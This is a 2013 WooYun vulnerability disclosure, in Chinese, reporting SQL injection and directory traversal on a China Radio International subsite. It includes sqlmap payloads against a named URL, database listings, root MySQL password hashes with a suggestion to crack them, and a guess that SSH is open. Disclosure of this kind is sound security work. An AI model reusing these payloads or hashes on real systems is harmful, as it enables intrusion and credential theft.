漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-044867
漏洞标题:敏感信息泄露#国际在线分站的一些问题(sql注入等)
相关厂商:国际在线
漏洞作者: adm1n
提交时间:2013-12-04 11:11
修复时间:2014-01-18 11:12
公开时间:2014-01-18 11:12
漏洞类型:敏感信息泄露
危害等级:高
自评Rank:20
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-12-04: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-01-18: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
中国国际广播电台分站的一些问题
详细说明:
中国国际广播电台分站存在的一些问题
漏洞证明:
1.http://app3.cri.cn/cri_gb/more/more_pic.php?channel=yule&subject_id=79
存在注入点,并且是root权限
Place: GET
Parameter: subject_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: channel=yule&subject_id=79 AND 6088=6088
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: channel=yule&subject_id=79 AND (SELECT 6623 FROM(SELECT COUNT(*),CO
NCAT(0x716c666771,(SELECT (CASE WHEN (6623=6623) THEN 1 ELSE 0 END)),0x717577737
1,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: channel=yule&subject_id=79 AND SLEEP(5)
---
[16:11:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5.0
current user: 'root@localhost'
available databases [7]:
[*] cri_gb
[*] cri_gb2008
[*] cri_lang
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
2.无意中发现,网站存在目录遍历
数据库等一些文件可以直接下载
3.跑出root的密码
+------------------+-------------------------------------------+
| User | Password |
| debian-sys-maint | *0DD664A6683DF36D22C024C7207560BDACB7FD73 |
| root | *7FBD43023C7A5E34BC006E97EBF1B3BFDF200C51 |
| root | *5489883E9BBE0FDFC13DCBB9369078348255C82D |
+------------------+-------------------------------------------+
拿到cmd5解密试试看
4.又图可知系统是Ubuntu,猜测有可能开放了22端口
果然是这样,那这就比较严重了,未继续深入,赶快修复吧
修复方案:
1.过滤敏感字符
2.更改目录权限
3.更改默认远程端口号
版权声明:转载请注明来源 adm1n@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝